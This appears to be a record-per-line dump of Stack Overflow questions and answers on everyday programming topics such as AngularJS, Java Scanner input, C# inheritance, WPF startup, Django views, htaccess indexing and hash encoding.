&lt;td&gt;{{customer.firstName}}&lt;/td&gt; &lt;td&gt;{{customer.surName}}&lt;/td&gt; &lt;td&gt;{{customer.emailAddress}}&lt;/td&gt; &lt;td&gt;{{customer.homePhone}}&lt;/td&gt; &lt;td&gt;{{customer.mobilePhone}}&lt;/td&gt; &lt;td&gt;{{customer.workPhone}}&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>customer.js:</p> <pre><code>function customerInit(){ window.init(); } function customerCtrl ($scope) { window.init= function() { $scope.$apply($scope.load_customer_lib); }; $scope.is_backend_ready = false; $scope.allCustomers = []; $scope.load_customer_lib = function() { gapi.client.load('customer', 'v1', function() { $scope.is_backend_ready = true; $scope.getAllCustomers(); }, '/_ah/api'); }; $scope.getAllCustomers = function(){ gapi.client.customer.customer.getCentreCustomers() .execute(function(resp) { $scope.$apply(function () { $scope.allCustomers = resp.items; }); }); }; }; </code></pre>
32769097	0	 <p>When you do <code>String y = in.nextLine()</code>, the next token is the leftover newline from the previous <code>nextInt()</code> call, so <code>y</code> ends up being equal to <code>\n</code>.</p> <p>Place a call to <code>nextLine()</code> after you use <code>nextInt()</code>:</p> <pre><code>int x = in.nextInt(); in.nextLine(); </code></pre> <p>Afterwards you should be able to call <code>nextLine</code> only once when getting the user input:</p> <pre><code>String y = in.nextLine(); if(y.equals("Washington")){ </code></pre>
7474364	0	Ambiguity with inheriting an optional-parameter base method <p>I have a base class with one optional default parameter, which a child class automatically provides a value for:</p> <pre><code>public class Merchant { public string WriteResults(List&lt;string&gt; moreFields = null) { List&lt;string&gt; ListOfObjects = new List&lt;string&gt;() {Name, Address}; if (moreFields != null) { ListOfObjects.AddRange(moreFields); } return ListOfObjects.ToString() //not real output } public class SpecificMerchant : Merchant { new public string WriteResults() { return ((Merchant)this).WriteResults(new List&lt;string&gt;() { Address, Phone //class-specific parameters }); } } </code></pre> <p>I used the <code>new</code> keyword when calling <code>SpecificMerchant.WriteResults</code> because both the parent and the base can take no parameters, but the compiler says this is unnecessary:</p> <blockquote> <p>The member 'SpecificMerchant.WriteResults()' does not hide an inherited member. The new keyword is not required.</p> </blockquote> <p>Why? Aren't I, in practice, overriding the parent method?</p>
6660701	0	 <p>There are too many ways that you can do it. Please check <a href="http://stackoverflow.com/questions/564650/convert-html-to-pdf-in-net">this</a> topic. If you want to use free library or tool you can use <a href="http://itextsharp.com/" rel="nofollow">iTextSharp</a>, but free version doesn't cover all requirement. So you can use some other tools such as <a href="http://www.websupergoo.com/abcpdf-9.htm" rel="nofollow">ABCPdf</a></p>
19290759	0	MVVM Light - Changing the startup URI <p>Having created a new WPF 4.5 MVVM Light Application, I wanted to change the startup URI so that I could do some checks before the app starts. I made the following change to App.xaml:</p> <pre><code>&lt;Application x:Class="MvvmLight1.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:vm="clr-namespace:MvvmLight1.ViewModel" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" StartupUri="MainWindow.xaml" mc:Ignorable="d"&gt; </code></pre> <p>To:</p> <pre><code>&lt;Application x:Class="MvvmLight1.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:vm="clr-namespace:MvvmLight1.ViewModel" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d"&gt; </code></pre> <p>And added an <code>OnStartup</code> method to the <code>App.xaml.cs</code>:</p> <pre><code>public partial class App : Application { static App() { DispatcherHelper.Initialize(); } protected override void OnStartup(StartupEventArgs e) { //base.OnStartup(e); MainWindow win = new MainWindow(); win.Show(); } } </code></pre> <p>Doing this seems to change the context that the window runs in. I did try setting the data context to the MainViewModel, but this didn't seem to help.</p>
26882164	0	 <p>For MySQL and SQLite,ejabberd provides a way to store messages in a very simple way.</p>
2631205	0	 <p>Well, certainly leave off the '/src/' portion of the package listing for that invocation. Either way, the easiest and most flexible way to run your tests this is to make sure all your tests are in a subpackage of where AllTests is (e.g. com.app.myapp.test.tests) and use this for the suite:</p> <pre><code>public static Test suite() { return new TestSuiteBuilder(AllTests.class) .includeAllPackagesUnderHere().build(); } </code></pre> <p>Make sure your tests run individually, too, without the suite runner -- the suite won't pick up your tests if they're set up wrong to begin with.</p> <p>(This is better than explicitly listing the package name since it's more portable -- you can rename your test package without breaking it, for example.)</p>
13455460	0	 <p>I guess eval will work:</p> <pre><code>var str = eval("[['Row1 of first array', 'Row2 of first array'],['Row1 of 2nd array', 'Row2 of 2nd array']]"); console.log(str); </code></pre> <p>​</p>
388175	0	 <p>I like to cache in the model or data layer as well. This isolates everything to do with retrieving data from the controller/presentation. You can access the ASP.NET cache from <code>System.Web.HttpContext.Current.Cache</code> or use the Caching Application Block from the Enterprise Library. Create your key for the cached data from the parameters for the query. Be sure to invalidate the cache when you update the data.</p>
29927728	0	 <p>Reversibly encoding the hash doesn't impact collision rate... Unless your encoding causes some loss of data (then it isn't reversible any more).</p> <p>Base64 and other <a href="http://en.wikipedia.org/wiki/Binary-to-text_encoding" rel="nofollow">binary-to-text encoding schemes</a> are all reversible. Your first output is the hexadecimal (or base16) representation, which is 50% efficient. Base64 achieves 75% efficiency, meaning it cuts the 40-character hex representation to 28 characters.</p> <p>The most efficient binary encoding scheme is <a href="http://en.wikipedia.org/wiki/YEnc" rel="nofollow">yEnc</a>, which achieves 98% efficiency, meaning a 100 byte long input will be roughly 102 bytes when encoded with yEnc. This is where the real problem arises for you: SHA-1 outputs are 160 bits (20 bytes) long. If you achieve 200% character-byte efficiency by using every 2-byte UTF16 character, you're still looking at <strong>10 characters</strong>. You can't achieve this, because 2-byte values from U+D7FF to U+E000 are not valid UTF16 characters. Those byte values are reserved as prefixes for higher-plane characters.</p> <p>Even if you find such a hyper-efficient<sup>1</sup> encoding scheme using unicode, you can't really use those as URLs. <a href="http://www.faqs.org/rfcs/rfc1738.html" rel="nofollow">Unicode characters are forbidden from URLs</a> and to be standards compliant, you should use % encodings for your URLs. Many browsers will automatically convert them, so you may find this acceptable, but many of the characters you would regularly use would not be human readable and many more would appear to be in different languages.</p> <p>At this point, if you really need <em>short</em> URLs, you should reconsider using a hash value and instead implement your own identity service (e.g. assign every page or resource an incremental ID, which is admittedly hard to scale) or utilizing another <a href="http://en.wikipedia.org/wiki/URL_shortening" rel="nofollow">link-shortening service</a>.</p> <p><sup>1</sup>: This not possible from a bit standpoint. Unicode could achieve a higher character-to-bit ratio, but the unicode characters themselves are represented by multiple bytes. The % encodings for UTF8, which most browsers use as the default for unrecognized encodings, get messy quickly.</p>
7679474	0	 <p>If I may suggest an alternative approach - which is to use an array. You shouldn't try to dynamically create variable names. For that purpose, good engineers from a long, long time ago in a year far far away invented an array.</p> <p>So, to solve your problems from now and the whole eternity - rewrite your code to use:</p> <pre><code>$newNode-&gt;field[$key]['und'][0]['value'] = $value; </code></pre>
11941693	0	running a job in unix <p>I have the following small script - myjob.qsub: </p> <pre><code>#!/bin/sh -login #PBS -l walltime=00:15:00 #PBS -l nodes=1:ppn=1 #PBS -l mem=2gb #PBS -N myrun05168 /myexecutable &gt;mylog.log </code></pre> <p>I did make it executable by:</p> <pre><code>chmod u+x myexecutable </code></pre> <p>When I try to run by changing directory to the folder of executible and then sumbit the job:</p> <pre><code>qsub myjob.qsub </code></pre> <p>gives me error of no /myexecutable file or directory.</p> <p>I tried to use "./": </p> <pre><code> #!/bin/sh -login #PBS -l walltime=00:15:00 #PBS -l nodes=1:ppn=1 #PBS -l mem=2gb #PBS -N myrun05168 ./myexecutable &gt;mylog.log </code></pre> <p>but doesnot help. </p> <p>when I just tried to run my executable in command line as, it works: </p> <pre><code>./myexecutable </code></pre> <p>As I can not run this as this job need to be submitted as job in cluster computer. </p> <p>Any suggestions ? </p>
24409698	1	Django view function not being called <p>Ths is the function in question. The problem is that it does not seem to do be called. User can download any files on the server, regardless of whether <code>pk</code> matches <code>request.user.id</code> or not.</p> <pre><code>def permit(request, pk): # First I sanitize system_path from request, then... if int(request.user.id) == int(pk) and int(request.user.id) &gt;= 1: sendfile(request, system_path) else: return render_to_response('forbidden.html') return HttpResponseRedirect('/notendur/list') </code></pre> <p>As you can see, it takes <code>pk</code> and compares it to <code>request.user.id</code>, and serves the file if that is the case.</p> <p>Then the relevant bits of <code>urls.py</code></p> <pre><code>urlpatterns = patterns('', url(r'^admin/', include(admin.site.urls)), #upload urls (r'^notendur/', include('notendur.urls')), #This needs to be changed to welcome.html (r'^$', RedirectView.as_view(url='/notendur/list/')), # Just for ease of use. #security url(r'^media/uploads/(?P&lt;pk&gt;[^/]+)', 'notendur.views.permit'), url(r'^media', 'notendur.views.permit'), ) </code></pre> <p>This error sort of came out of the blue. I hadn't edited anything pertaining to this as far as I am aware.</p> <p>I know the function is not being called because I commented out the <code>sendfile()</code> and put <code>render_to_response('forbidden.html')</code> instead. Did not have any effect; user could still download file unexamined.</p>
15707497	0	HttpOnly settings can be done in application having servlet api-2.5 and web.xml 2.5 version? <p>wanna enable httpOnly attribute to session cookie for our application. we are using servlet-api 2.5 version and web.xml as 2.5 .. now i have tried adding below code in web.xml </p> <pre><code>&lt;cookie-config&gt; &lt;http-only&gt;true&lt;/http-only&gt; &lt;/cookie-config&gt; </code></pre> <p>i got error parsing error in <code>web.xml</code> at <code>&lt;cookie-config&gt;</code></p> <p>can any please help on this.. do i need to update servlet version to 3 and web.xml to 3 as well ...</p> <p>or any other ways to do it writing in java code itself.. we are using jboss 5 version..</p>
35057284	0	simple "Up a directory" button in htaccess? <p>a while ago i was using htaccess to display some files, and recently i started that project again and found i had somehow deleted the "go up a level" button back then. </p> <p>Can anyone tell me what the code line in htaccess looks like to get this button back? Should be relatively simple but i just cant find it... heres what i got.</p> <pre><code>Options +Indexes # DIRECTORY CUSTOMIZATION &lt;IfModule mod_autoindex.c&gt; IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble # SET DISPLAY ORDER IndexOrderDefault Descending Name # SPECIFY HEADER FILE HeaderName /partials/header.html # SPECIFY FOOTER FILE ReadmeName /partials/footer.html # IGNORE THESE FILES, hide them in directory IndexIgnore .. IndexIgnore header.html footer.html icons # IGNORE THESE FILES IndexIgnore header.html footer.html favicon.ico .htaccess .ftpquota .DS_Store icons *.log *,v *,t .??* *~ *# # DEFAULT ICON DefaultIcon /icons/generic.gif AddIcon /icons/dir.gif ^^DIRECTORY^^ AddIcon /icons/pdf.gif .txt .pdf AddIcon /icons/back.png .. &lt;/IfModule&gt; Options -Indexes </code></pre>
2986167	0	Best way to store configuration settings outside of web.config <p>I'm starting to consider creating a class library that I want to make generic so others can use it. While planning it out, I came to thinking about the various configuration settings that I would need. Since the idea is to make it open/shared, I wanted to make things as easy on the end user as possible. What's the best way to setup configuration settings without making use of web.config/app.config?</p>
6835427	0	 <p>If you do not mind additional statements (while loop) the following will work in c99</p> <pre><code>#define NBITS_32(n,out_len) 0; while (n &amp;&amp; !(0x80000000 &gt;&gt; out_len &amp; n)) out_len++; out_len = n ? abs(out_len - 32) : n uint8_t len1 = NBITS_32(0x0F000000, len1); uint8_t len2 = NBITS_32(0x00008000, len2); uint8_t len3 = NBITS_32(0xFFFFFFFF, len3); uint8_t len4 = NBITS_32(0x00000001, len4); printf("%u\n%u\n%u\n%u\n", len1, len2, len3, len4); </code></pre> <p>Output:</p> <blockquote> <p><strong>28<br/> 16<br/> 32<br/> 1</strong></p> </blockquote>
16705516	0	 <p>It seems like <code>buffer</code> is probably set to <code>NULL</code> or some other invalid pointer and probably segfaults when you dereference it. It could also be your first call to <code>free</code> if the pointer is invalid. Ideally you need to show us the code that calls this function.</p> <p>Also keep in mind it's bad form to call a matching <code>malloc</code> and <code>free</code> in different functions. Unless that function has only one purpose, to allocate a new structure or to free an existing one (In other words allocation of any resource should be done in the same function as deallocation of that same resource. The only exception is a function that composes more complex allocations and deallocations).</p> <pre><code>int load_filenew(char *filename, char **buffer) { int size = 0; FILE *fp = 0; if(buffer == NULL) { return 1; } fp = fopen(filename, "rb"); if (!fp) { printf(" fopen failed.\n"); return 2; } fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); if (size) { *buffer = (char *)malloc(size + 1); if (!*buffer) { printf(" malloc failed.\n"); fclose(fp); return 3; } memset(*buffer, 0, size + 1); fread(*buffer, size, 1, fp); (*buffer)[size] = '\0'; } else { fclose(fp); return 3; } fclose(fp); return 0; } </code></pre>
28157759	0	 <p>In order to Updateupdate the data on the database your SqlDataAdapter need to have its InsertCommand, UpdateCommand, DeleteCommand properties set.</p> <p>So, try the below code:</p> <pre><code> ds.Tables[0].Rows.Add(newRow); SqlCommandBuilder commandBuilder = new SqlCommandBuilder(adp); adp.DeleteCommand = commandBuilder.GetDeleteCommand(true); adp.UpdateCommand = commandBuilder.GetUpdateCommand(true); adp.InsertCommand = commandBuilder.GetInsertCommand(true); adp.Update(ds.Tables[0]); //connection.UpdateDatabase(ds); connection.Close(); </code></pre> <p>Edit: The Update method takes the name of a DataSet and a table. The DataSet for us is ds, which is the one we passed in to our UpdateDatabase method when we set it up. After a dot, you type the name of a table in your dataset.</p>
1287691	0	 <p>Futures are also used in certain design patterns, particularly for real time patterns, for example, the ActiveObject pattern, which seperates method invocation from method execution. The future is setup to wait for the completed execution. I tend to see it when you need to move from a multithreaded enviroment to communicate with a single threaded environment. There may be instances where a piece of hardware doesn't have kernel support for threading, and futures are used in this instance. At first glance it not obvious how you would communicate, and surprisingly futures make it fairly simple. I've got a bit of c# code. I'll dig it out and post it. </p>
25316922	0	How do I find f3dynamics library? <p>I have a workbook in a machine that contains a macro that works with the f3dynamics library, it is not listed in the references box. I have looked up everywhere and I cannot find the F3dynamics library.</p> <p>I need to move it to another machine so the macro runs in the new machine, I have installed office 2003, 2007, 2010 in the new machine and it is not working for those versions,</p> <p>is there any macro that lists all references, including this "hidden" reference?</p>
32013312	0	 <p><strong>You can't resize an array.</strong></p> <p><a href="https://msdn.microsoft.com/en-us/library/9b9dty7d.aspx" rel="nofollow">To quote MSDN:</a></p> <blockquote> <p>The number of dimensions and the length of each dimension are established when the array instance is created. These values can't be changed during the lifetime of the instance.</p> </blockquote> <p>What methods like Array.Resize actually do is allocate a new array and copy the elements over. It's important to understand that. You're not resizing the array, but reallocating it.</p> <p>So long as you're using arrays, in the end the answer is going to boil down to "allocate a new array, then copy what you want to keep over to it".</p>
13145156	0	 <p><a href="http://deftjs.org/" rel="nofollow">http://deftjs.org/</a></p> <p>Essential extensions for enterprise web and mobile application development with Ext JS and Sencha Touch</p> <p>DeftJS enhances Ext JS and Sencha Touch’s APIs with additional building blocks that enable large development teams to rapidly build enterprise scale applications, leveraging best practices and proven patterns discovered by top RIA developers at some of the best consulting firms in the industry.</p> <p><strong>FEATURES</strong></p> <p><strong>IoC Container</strong></p> <ul> <li>Provides class annotation driven dependency injection.</li> <li>Maps dependencies by user-defined identifiers.</li> <li>Resolves dependencies by class instance, factory function or value.</li> <li>Supports singleton and prototype resolution of class instance and factory function dependencies.</li> <li>Offers eager and lazy instantiation of dependencies.</li> <li>Injects dependencies into Ext JS class configs and properties before the class constructor is executed.</li> </ul> <p><strong>MVC with View Controllers</strong></p> <ul> <li>Provides class annotation driven association between a given view and its view controller.</li> <li>Clarifies the role of the controller - i.e. controlling a view and delegating work to injected business services (ex. Stores).</li> <li>Supports multiple independent instances of a given view, each with their own view controller instance.</li> <li>Reduces memory usage by automatically creating and destroying view controllers in tandem with their associated views.</li> <li>Supports concise configuration for referencing view components and registering event listeners with view controller methods.</li> <li>Integrates with the view destruction lifecycle to allow the view controller to potentially cancel removal and destruction.</li> <li>Simplifies clean-up by automatically removing view and view component references and event listeners.</li> </ul> <p><strong>Promises and Deferreds</strong></p> <ul> <li>Provides an elegant way to represent a ‘future value’ resulting from an asynchronous operation.</li> <li>Offers a consistent, readable API for registering success, failure, cancellation or progress callbacks.</li> <li>Allows chaining of transformation and processing of future values.</li> <li>Simplifies processing of a set of future values via utility functions including all(), any(), map() and reduce().</li> <li>Implements the CommonJS Promises/A specification.</li> </ul>
24130603	0	 <p>I think the method should look like this </p> <pre><code>- (IBAction)ChangeSeg:(UISegmentedControl *)sender { if(sender.selectedSegmentIndex == 0){ UpperLower=0; } else if(sender.selectedSegmentIndex == 1){ UpperLower=1; } } </code></pre> <p>The sender will have the selectedSegmentIndex that was chosen.</p>
9170096	0	 <p>This works for me. </p> <p><strong>ASPX :</strong> </p> <pre><code>&lt;iframe id="ContentIframe" runat="server"&gt;&lt;/iframe&gt; </code></pre> <p>I can access the iframe directly via id.</p> <p><strong>Code Behind :</strong> </p> <pre><code>ContentIframe.Attributes["src"] = "stackoverflow.com"; </code></pre>
6720268	0	 <p>I wrote a server side script that shows the output of headers from both examples and APIKEY was set identically in both cases. There were some differences in HTTP_ACCEPT / HTTP_ACCEPT_ENCODING and WWW::Mechanize adds some additional headers:</p> <pre><code>'downgrade-1.0' =&gt; '1' 'force-response-1.0' =&gt; '1' 'nokeepalive' =&gt; '1' </code></pre> <p>So I would suggest the problem is somewhere else. </p>
1031034	0	number of periods (custom) between two dates <p>I want to find out how many periods (custom) are there between two dates. Like how many weeks are between 1 july to 2nd Aug or how many half months are there between 2 nd Juy and 14 Dec, where in half month would be customizable whether it ends on 15th or 16th. </p> <p>IS there any library where this or something similar has been done? Not that its tricky but just want to know if such things exists.</p>
6391003	0	 <p>You can't use paths like that in the extends tag. But you don't need to - assuming your <code>TEMPLATE_DIRS</code> setting is <code>root/pages</code>, you just do <code>extends "base.html"</code>.</p>
13802201	0	 <p>When all your clipboard has is an string copied as text, you have to retrieve it as </p> <pre><code>Clipboard.GetText() </code></pre> <p>and to retrieve other types of objects you can use GetData()</p>
40504105	0	cat from file.csv with grep data <p>I have data in <code>file.csv</code>:</p> <pre><code>(...) 0000046;0000046;04688;29;1;52.1683;20.5567 0000046;0000046;04688;2A;1;52.1818;20.5639 0000046;0000046;04688;3;1;52.1785;20.5629 0000046;0000046;04688;4;1;52.1815;20.5638 0000046;0000046;04688;5;;52.1779;20.5635 0000046;0000046;04688;6;1;52.1813;20.5636 0000046;0000046;04688;7;;52.1777;20.5634 0000046;0000046;04688;8;;52.1810;20.5635 0000046;0000046;04688;9;1;52.1775;20.5631 0000046;0000046;05027;2;;52.1908;20.5660 0000046;0000046;05027;4;1;52.1907;20.5649 0000046;0000046;05527;1;1;52.1824;20.5636 (...) </code></pre> <p>I need to extract lines where the third field matches a given value. I tried</p> <pre><code>cat file.csv |grep 05027 </code></pre> <p>Unfortunately, this matches any line containing <code>05027</code> anywhere. How can I restrict to matching only on the third field?</p>
31939505	0	chef running resource only when a package is present <p>I want to unzip one file in chef recipe but I want to ensure that unzip package is install on that machine before I unzip it. How to do it in chef ?</p> <p>I tried below recipe but on machine where unzip package is install it simply don't execute it.</p> <pre><code>bash 'extract' do cwd '/home/norun/' code &lt;&lt;-EOH unzip wso2.zip EOH only_if { ::File.exists?('/home/norun/wso2.zip') } not_if { ::File.exists?('/home/norun/wso2as-5.2.1') } end apt_package 'unzip' do action :install notifies :run , 'bash[extract]', :immediately end </code></pre> <p>Thanks In Advance</p>
32916639	0	 <p>So if you want a simpler route, instead of recreating an entirely new Cell, just assign the Accessory view to your own custom view which is your Calendar view. will automatically adjust everything. </p> <p>If you want to keep going the way you are now, just keep your custom cell but once again move your calendar into the accessory view. As long as you set its size first, it will be perfect.</p>
31811539	0	R Installing rCharts on R 3.2.1 <p>I had a little bit of trouble installing rCharts for R version 3.2.1. I have referenced a question that addresses an earlier version of R, but the solution did not work for me exactly. <a href="https://stackoverflow.com/questions/26517961/error-on-installing-rcharts-in-r-3-1-1-windows">[Link]</a></p> <p>It would appear that there wasn't a rCharts package for R that can be installed using the <code>install.packages()</code> command</p>
6047463	0	 <p>Because the triple design doesn't prevent you from using a closure, while the alternative approach prevents you from <em>not</em> using closures. Sometimes the external-state design is the simpler approach.</p> <p>For instance, say that you're using a <code>for</code> loop to iterate which pages to display in the response to a RESTful query. With external-state-based loops, you can write a function that iterates pages based on a table representing the state-representational parameters of the query (which you construct from the URL once and reuse for several other functions). With triples, you can iterate with just those values without being forced to wrap it (and every other function like it) in a closure constructor.</p>
7631308	0	 <p>Here you are 2 of my utils functions:</p> <pre><code> public static function convertUintToString( color:uint ):String { return color.toString(16); } public static function convertStringToUint(value:String, mask:String):uint { var colorString:String = "0x" + value; var colorUint:uint = mx.core.Singleton.getInstance("mx.styles::IStyleManager2").getColorName( colorString ); return colorUint; } </code></pre>
22820181	0	 <pre><code>sed 's/\(rmd_ver=\).*[[:number:]]$/\1NEW_VAL/g' </code></pre> <p>you can replace NEW_VAL with the value you want to replace with.</p>
21938921	0	How to manipulate the output to a ItemsSource? <p>With this <a href="http://stackoverflow.com/questions/21863096/dont-get-deserialised-json-jsonnet-to-be-viewed">Previous Question</a> i was able too manage to show the output. I've reading alot of posts here on stackoverflow, but cant find the right solution for the next:</p> <p>How to manipulate the output too ItemsSource, because:</p> <pre><code>{"order_id":"12345678","itemList":["235724","203224","222224","222324","230021"],"amount":["65","50","10","25","42"]} </code></pre> <p>The number 235724 is also used within a IMG url and need to become like "235724 X 65" for a selectable listbox.</p> <p>Solution was:</p> <pre><code>ObservableCollection&lt;CreateItem&gt; pitems = new ObservableCollection&lt;CreateItem&gt;(); for (int i = 0; i &lt; rootObject.itemList.Count; i++) { var itemsku = rootObject.itemList[i]; var amount = rootObject.amount[i]; pitems.Add(new CreateItem() { pTitle = itemsku + " X " + amount , pImage = new BitmapImage(new Uri(string.Format("http://image.mgam79.nl/indb/{0}.jpg", itemsku)))}); } MyListBox.ItemsSource = pitems; public class CreateItem { public string pTitle { get; set; } public ImageSource pImage { get; set; } } </code></pre>
25179324	0	 <p>change</p> <pre><code>strcat(ipstr,&amp;ipch); </code></pre> <p>to</p> <pre><code>strncat(ipstr, &amp;ipch, 1); </code></pre> <p>this will force appending only one byte from <code>ipch</code>. <code>strcat()</code> will continue appending some bytes, since there's no null termination character after the char you are appending. as others said, strcat might find somewhere in memory <code>\0</code> and then terminate, but if not, it can result in segfault. <br><br> from manpage:</p> <pre><code>char *strncat(char *dest, const char *src, size_t n); </code></pre> <p>The strncat() function is similar to strcat(), except that</p> <ul> <li>it will use at most n characters from src; and</li> <li>src does not need to be null-terminated if it contains n or more characters.</li> </ul>
39679434	0	 <p>I feel your process(mosquitto) have hit the maximum number of open file descriptors limit. Check your max open files by <code>ulimit -n</code>. Then increase the limit to max number of connections expected by you. E.g. For 10k connection it would be <code>ulimit -n 10000</code></p> <p>A note on ulimit(<a href="http://ss64.com/bash/ulimit.html" rel="nofollow">1</a>). It is only set for the current terminal and for persistent changes you will need to edit config files as per your Linux flavor( <em>/etc/security/limits.conf</em> + <em>/etc/pam.d/common-session*</em> on Ubuntu ). </p>
40152435	0	Select2 Show Currently Searched Value <p>I'm using <a href="https://select2.github.io/" rel="nofollow">Selec2</a> framework to do this with ajax call, i'm successfully implement this in my project but why when enter value to search it's showing current search value as selectable option, even when no result, i wan't to hide this. Any suggestion? thanks</p> <p>Showing curent search value and it's selectable: <a href="https://i.stack.imgur.com/bpj3j.png" rel="nofollow"><img src="https://i.stack.imgur.com/bpj3j.png" alt="enter image description here"></a></p> <p>Even when no result: <a href="https://i.stack.imgur.com/BHBAH.png" rel="nofollow"><img src="https://i.stack.imgur.com/BHBAH.png" alt="enter image description here"></a></p> <p>HTML:</p> <pre><code>&lt;select style='width:100%;' id='select-employee'&gt;&lt;/select&gt; </code></pre> <p>JS:</p> <pre><code>$("#select-employee").select2({ theme: "bootstrap", placeholder: "Select employee...", minimumInputLength: 1, tags: [], ajax: { url: "getEmployee.php", dataType: "json", type: "POST", delay: 250, data: function(params) { return { term: params.term, page: params.page }; }, processResults: function(data, params) { params.page = params.page || 0; return { results: data.items, pagination: { more: (data.page == "1" ? true : false) } }; }, cache: true } }); </code></pre>
1429831	0	Saving data in rails session to use in form on next request <p>Let's say I have a table called positions (as in job positions). On the position show page I display all the detail about the job - awesome. At the bottom I need the prospective applicant to input their professional license # before continuing onto the next page which is the actual applicant creation form. I also need to take that license # and have it populate that field on the applicant form (again on the proceeding page).</p> <p>I realize there are a couple ways to do this. Possibly the more popular option would be to store that value in the session. I am curious how to do this in the simplest manner?</p> <p>My idea:</p> <ol> <li>Create a table specifically for license #'s.</li> <li>Add a small form on the position show page to create license # (with validation)</li> <li>Store newly created license in session - not sure what to put in which controller?</li> <li>On applicant creation form populate from session the license #.</li> </ol> <p>This would assume applicants only have one license.</p> <p>Thoughts?</p> <p>Appreciate the help!</p>
20237644	0	 <p>Creating snapshots in VHD works by putting an overlay over the existing VHD image, so that any change get written into the overlay file instead of overwriting existing data. For reading the top-most data is returned: either the data from the overlay if that sector/cluster was already over-written, or from the original VHD file if it was not-yet over-written.</p> <p>The vhd-util command creates such an overlay-VHD-file, which uses the existing VHD image as its so-called "backing-file". It is important to remember, that the backing-file must never be changed while snapshots still using this backing-file exist. Otherwise the data would change in all those snapshots as well (unless the data was overwritten there already.)</p> <p>The process of using backing files can be repeated multiple times, which leads to a chain of VHD files. Only the top-most file should ever be written to, all other files should be handled as immutable.</p> <p>Reverting back to a snapshot is as easy as deleting the current top-most overlay file and creating a new empty overlay file again, which again expose the data from the backing file containing the snapshot. This is done by using the same command again as above mentioned. This preserves your current snapshot and allows you to repeat that process multiple times. (renaming the file would be more like "revert back to <strong>and</strong> delete last snapshot".)</p> <p><strong>Warning:</strong> before re-creating the snapshot file, make sure that no other snapshots exists, which uses this (intermediate) VHD file as its backing file. Otherwise you would not only loose this snapshot, but all other snapshots depending on this one.</p>
13614770	0	 <p>I simply created Drupal nodes programmatically. Turned out to be easiest.</p>
6649286	0	 <p>It depends, its ok for you to retain the variable in View Controller 2. Because each controller will be responsible for theirs variables. If instead, you assign your variable, even if you are using the variable in the second controller, it will be the first controller the responsible.</p>
27093061	0	android calender events handling library <p>Is there any open source library to add/remove/update calendar events in android devices? (android 2.3.x and above)</p> <p>I am looking at adding events "silently", meaning injecting them into the users calendar</p>
30315780	0	 <p>Given your data (where the values are the same in the two columns if they are both there), then:</p> <pre><code>select distinct coalesce(a, b) from table t; </code></pre> <p>If that condition doesn't hold, then you need a <code>union</code>, which Giorgi's answer explains.</p>
1664281	0	 <p>After the page has initialized, set the ddlFeeds.SelectedIndexChanged += null. You will need to do this on every load, irregardless of postback.</p> <p>A better plan would be to just eliminate the OnSelectedIndexChanged attribute from the ASPX template.</p>
32750111	0	 <p>You can make the whole table read-only like this:</p> <pre><code> self.projectView.setEditTriggers(QAbstractItemView.NoEditTriggers) </code></pre> <p><strong>EDIT</strong>:</p> <p>If you also want to prevent copying of cells, you will need to kill the relevant keyboard shortcuts. Below is some example code that does that:</p> <pre><code>from PySide import QtGui, QtCore class Window(QtGui.QWidget): def __init__(self, rows, columns): super(Window, self).__init__() self.table = QtGui.QTableView(self) model = QtGui.QStandardItemModel(rows, columns, self.table) for row in range(rows): for column in range(columns): item = QtGui.QStandardItem('(%d, %d)' % (row, column)) model.setItem(row, column, item) self.table.setModel(model) self.table.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) layout = QtGui.QVBoxLayout(self) layout.addWidget(self.table) self.table.installEventFilter(self) def eventFilter(self, source, event): if (source is self.table and event.type() == QtCore.QEvent.KeyPress and event == QtGui.QKeySequence.Copy): return True return super(Window, self).eventFilter(source, event) if __name__ == '__main__': import sys app = QtGui.QApplication(sys.argv) window = Window(5, 5) window.setGeometry(600, 300, 600, 250) window.show() sys.exit(app.exec_()) </code></pre>
17739042	0	 <blockquote> <p>Is there a better alternative to TortoiseSVN which can be used as a clinet?</p> </blockquote> <p>If you are using an IDE, check out plugins for working with version control systems. (a.k.a. Team Synchronization, Collaboration, etc.) Sometimes it can be real time saver.</p>
20018771	0	 <p>Use a javascript function that uses innerHTML. </p> <p>For example:</p> <pre><code>function clickable(){ document.getElementById('clickable').innerHTML = "content"; } </code></pre> <p>Use onClick to call it </p> <pre><code>&lt;div id="click" onClick="javascript:clickable();"&gt;Click me!&lt;/div&gt; </code></pre> <p>It's easier to explain with a js fiddle</p> <p>JSFiddle: <a href="http://jsfiddle.net/rJ3KS/" rel="nofollow">http://jsfiddle.net/rJ3KS/</a> </p> <p>Edit: I think this is what you want: <a href="http://jsfiddle.net/rJ3KS/1/" rel="nofollow">http://jsfiddle.net/rJ3KS/1/</a></p>
1249037	0	Resizing HBox width to fit content <p>I have an HBox with a fixed Width and Height and a Border. In that HBox I have a viewStack with a few different views. When the viewStack changes views, I want the HBox container to keep resizing to its content. Currently it stays at the fixed width. Is there any way to do that with an HBox setting?</p>
